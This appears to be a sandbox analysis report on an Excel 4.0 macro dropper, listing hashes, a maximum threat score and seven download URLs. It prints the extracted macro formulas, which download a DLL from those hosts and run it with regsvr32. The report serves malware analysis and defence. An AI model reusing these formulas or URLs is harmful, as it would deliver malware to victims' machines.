General

  • Target

    3f6b383e0a5e6187be723d341e98812898cba3525f6de42e76fa13e0186b7d93

  • Size

    20KB

  • Sample

    241120-sdnwysxhqc

  • MD5

    7915596402f91b9cc7f54ffc3cf2056c

  • SHA1

    990c73f494dc5ff4b6948af98b0f8567c9932fde

  • SHA256

    3f6b383e0a5e6187be723d341e98812898cba3525f6de42e76fa13e0186b7d93

  • SHA512

    3b6eb8c3c78651ada945e6b1bbdf5ab58ffd5039ed38de5ccfdfe31f935d040456d61c2e6adde3c9e4d1f74de0fb09b70f69315c99809a0d9f93091223ce4967

  • SSDEEP

    384:CKAVb1GNjYTo4CGzPd6ZIwL0AOKb5CzgObff9kC+xbX7jvIv:CKYINmo4FLyCBn9kC+xbLA

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

https://www.manchesterslt.co.uk/a-to-z-of-slt/9wq2ESVcG/

http://festival.artdialog.ch/contact/RGhcwH4DRBM/

http://bramynapilota.com.pl/wp-admin/NHk/

http://brwconsultoria.com.br/img/Vl0i9o/

http://buildershyper.co.za/s6Oe/

http://business-tailor.nl/ww12/Kz7GjU/

https://eephysiotherapy.co.uk/blog/mn1d1JScv1CIg4aTy/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://www.manchesterslt.co.uk/a-to-z-of-slt/9wq2ESVcG/","..\kytk.dll",0,0) =IF('SCWVCV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://festival.artdialog.ch/contact/RGhcwH4DRBM/","..\kytk.dll",0,0)) =IF('SCWVCV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://bramynapilota.com.pl/wp-admin/NHk/","..\kytk.dll",0,0)) =IF('SCWVCV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://brwconsultoria.com.br/img/Vl0i9o/","..\kytk.dll",0,0)) =IF('SCWVCV'!D20<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://buildershyper.co.za/s6Oe/","..\kytk.dll",0,0)) =IF('SCWVCV'!D22<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://business-tailor.nl/ww12/Kz7GjU/","..\kytk.dll",0,0)) =IF('SCWVCV'!D24<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://eephysiotherapy.co.uk/blog/mn1d1JScv1CIg4aTy/","..\kytk.dll",0,0)) =IF('SCWVCV'!D26<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\kytk.dll") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

https://www.manchesterslt.co.uk/a-to-z-of-slt/9wq2ESVcG/

xlm40.dropper

http://festival.artdialog.ch/contact/RGhcwH4DRBM/

xlm40.dropper

http://bramynapilota.com.pl/wp-admin/NHk/

xlm40.dropper

http://brwconsultoria.com.br/img/Vl0i9o/

Targets

    • Target

      3f6b383e0a5e6187be723d341e98812898cba3525f6de42e76fa13e0186b7d93

    • Size

      20KB

    • MD5

      7915596402f91b9cc7f54ffc3cf2056c

    • SHA1

      990c73f494dc5ff4b6948af98b0f8567c9932fde

    • SHA256

      3f6b383e0a5e6187be723d341e98812898cba3525f6de42e76fa13e0186b7d93

    • SHA512

      3b6eb8c3c78651ada945e6b1bbdf5ab58ffd5039ed38de5ccfdfe31f935d040456d61c2e6adde3c9e4d1f74de0fb09b70f69315c99809a0d9f93091223ce4967

    • SSDEEP

      384:CKAVb1GNjYTo4CGzPd6ZIwL0AOKb5CzgObff9kC+xbX7jvIv:CKYINmo4FLyCBn9kC+xbLA

    Score
    10/10
    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

MITRE ATT&CK Enterprise v15

Tasks